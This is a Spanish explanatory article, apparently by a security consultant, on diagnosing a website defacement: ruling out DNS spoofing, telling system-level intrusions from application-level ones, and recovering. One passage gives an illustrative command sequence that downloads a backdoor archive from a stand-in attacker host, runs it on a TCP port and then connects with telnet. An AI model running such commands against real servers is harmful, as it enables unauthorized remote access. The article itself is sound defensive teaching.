Un mal día entramos a nuestro sitio web, y en lugar de ver nuestra página de siempre nos encontramos con otra portada: "defaced" o "este servidor ha sido hackeado". Una vez confirmado que realmente es así (que no se trata de un desvío del dominio), debemos identificar en qué nivel ha sido realizada la intrusión: nivel de aplicación o nivel de sistema. En uno u otro nivel los riesgos son distintos, y son distintas las medidas a tomar para corregir el problema.
Una foto del Che Guevara, el símbolo de la anarquía… la cara de un mono… Fido Dido… un paquete de sopa instantánea… Sea cual fuere la nueva "presentación" de nuestro sitio web, lo primero que debemos hacer (además de tranquilizarnos frente al estado de shock que producen estas situaciones) es verificar si el servidor realmente ha sido vulnerado, y que no se trate simplemente de un desvío de DNS.
Voy a resumir el problema del DNS: el Domain Name System es el responsable de traducir los nombres de los sitios a las direcciones IP de los servidores donde éstos están alojados. Así cuando escribimos "www.sitioweb.com" el DNS retorna la dirección IP del servidor (como ser 200.40.129.50). Ahora imaginemos que un servidor DNS (hay millones) ha sido engañado, y en lugar de retornar la dirección IP correcta, nos devuelve la IP de otro server donde se aloja la página web que vemos en lugar de la nuestra.
A este chiste se le llama "DNS spoofing", y sus efectos normalmente son locales. Es decir: el fallo lo experimentan sólo las máquinas que se basan (resuelven) en el servidor DNS en cuestión (una empresa, un ISP, una ciudad). Y el resto del mundo sigue viendo nuestro sitio web original sin problemas.
Bien, una vez descartado que se trate de DNS spoofing, y confirmado -IP mediante- que nuestro sitio web realmente ha sido modificado, estamos en hora de determinar si el ataque se realizó a nivel de aplicación o a nivel de sistema.
Es el nivel de acceso que representa más riesgo. Es lo que todo intruso desea lograr en una máquina: tener el control total de los recursos… adueñarse completamente de la máquina con los mismos privilegios que el propio administrador.
El acceso a nivel de sistema implica el acceso al mismo sistema operativo, en última instancia mediante un terminal remoto.
Estos accesos se logran a través de algún servicio mal configurado, o de aplicaciones vulnerables que permitan la ejecución de código arbitrario en el server. Por ejemplo: si tenemos abierto un servicio telnet, o un SSH vulnerable, estamos dando al atacante una terminal de acceso para que simplemente comience a trabajar en su próximo paso que discutiremos en las próximas líneas: la escalada de privilegios.
Otra posible entrada a un sistema es la explotación de servicios vulnerables que permitan desbordamientos de búfers (que nos permitan, aún sin tener un terminal, ejecutar comandos en el sistema operativo).
Consideremos el siguiente caso: un intruso sabe que mediante un sendmail mal configurado, o un proFTPd u otro software, tiene la posibilidad de ejecutar comandos sobre la máquina… Y esos comandos pueden ser:
1) wget http://www.sitiohacker.com/backdoor.tar.gz
2) tar -xvzpf ./backdoor.tar.gz
3) cd backdoor
4) ./backdoor -p 10040
En al paso (1) baja de internet un paquete comprimido conteniendo un software de intrusión (backdoor.tar.gz en nuestro ejemplo). En el paso (2) descomprime el paquete en el directorio actual (no importa cual sea). En el paso (3) se mueve al directorio que ha sido creado tras descomprimir las herramientas. Y en el paso (4) ejecuta un comando que pone a funcionar el servicio "backdoor" escuchando en el puerto TCP 10040. (sólo se trata de un ejemplo: las direcciones y los nombres son ficticios. En la práctica puede haber miles de posibilidades).
Hasta ahora el intruso ha ejecutado estos comandos sin retorno visual: no tiene una pantalla que le permita ver los resultados de lo que está tecleando, ya que la vulnerabilidad le permite sólo enviar los comandos que llegan al sistema operativo mediante una vía alternativa.
Pero ahora el intruso, cómodamente y desde su máquina, puede hacer lo siguiente:
telnet 172.16.100.21 10040
…donde la IP del servidor atacado es 172.16.100.21, y 10040 es el puerto donde el hacker puso a funcionar su aplicación "backdoor". Ahora sí, el hacker tiene una terminal de acceso a nuestro sistema. Casi con la comodidad de estar en su propia PC. Pero para tener el control total del servidor aún le hace falta realizar otro trabajo:
Escalada de privilegios En el ejemplo anterior describiendo la forma de realizar un acceso, todos los comandos que se ejecutaron en el sistema (incluso la ejecución del programa "backdoor", y los comandos que a su vez se ejecuten a través de éste) se harán con los privilegios y permisos que tenga el programa a través del cual se accedió al servidor. En caso de haber accedido por una brecha de proFTPd, seremos el usuario "ftp", o "nobody": usuarios menores, con privilegios recortados, incapaces de realizar grandes cambios en la configuración del servidor.
La "escalada de privilegios" tiene un nombre bien autoexplicativo: consiste en la realización de uno o más ataques a programas locales mal configurados, y a través de los mismos ir logrando nuevos privilegios, hasta tomar el lugar del superusuario root (o wheel en los BSD). Sobre este punto se pueden escribir decenas de libros, pero su profundización está fuera de los objetivos de este artículo.
Quien se haya tomado el trabajo de acceder de esta forma a un servidor, difícilmente sea tan estúpido como para dedicarse a modificar las páginas web poniendo "servidor hackeado". Por el contrario: esta categoría de intrusos permanece en silencio, tratan de permanecer inadvertidos durante todo el tiempo posible para así poder sacar el máximo provecho posible de "su nuevo servidor". Tal vez sólo al final, como broche de oro, tome la iniciativa de cambiar la portada del sitio web (cuando el servidor no le sirva más para sus objetivos, o si es descubierto y se da cuenta de que va a ser expulsado).
Los ataques a nivel de aplicación son aquellos que se realizan explotando vulnerabilidades de aplicaciones que permitan modificar los datos que la propia aplicación manipula, pero sin la posibilidad de ejecución de comandos sobre el sistema operativo.
Ejemplos: la modificación o borrado de contenidos en un sistema de gestión de portales, como phpNuke o Mambo. O la manipulación de una base de datos SQL mediante un acceso no autorizado a un phpMyAdmin vulnerable.
En este tipo de ataques el intruso puede cambiar lo que desee en nuestro sitio web, o en nuestras bases de datos. Pero no se puede considerar que el servidor esté comprometido, ni que el intruso haya entrado efectivamente en el sistema.
Los ataques a nivel de aplicación son los más comunes y visibles (y los más populares entre los chicos traviesos aficionados a romper cosas). De modo que el servidor -a pesar de estos ataques- permanece intacto. La seriedad y la gravedad de estos ataques depende de la importancia de la aplicación web atacada: no es lo mismo un ataque de este tipo en una galería de fotos online, que en una aplicación de procesamiento de pagos y transferencias financieras.
En el caso de las intrusiones a nivel de sistema, se debe realizar un análisis forense del servidor atacado. Y en muchos casos, la única solución realmente segura es la reinstalación del sistema operativo y de todas las aplicaciones desde cero.
En el caso de las intrusiones a nivel de aplicación, basta con sustituír la aplicación vulnerable por una versión "parchada" que cierre las brechas de seguridad usadas por los intrusos.
Y en cuanto al contenido y los datos… el lector podrá deducir que sólo los respaldos nos permitirán poner todo a funcionar en tiempo y forma (¿verdad que SIEMPRE hacemos los RESPALDOS de TODA nuestra INFORMACION?)
Ing. Eduardo González González (*)
(*) Consultor en Sistemas de Seguridad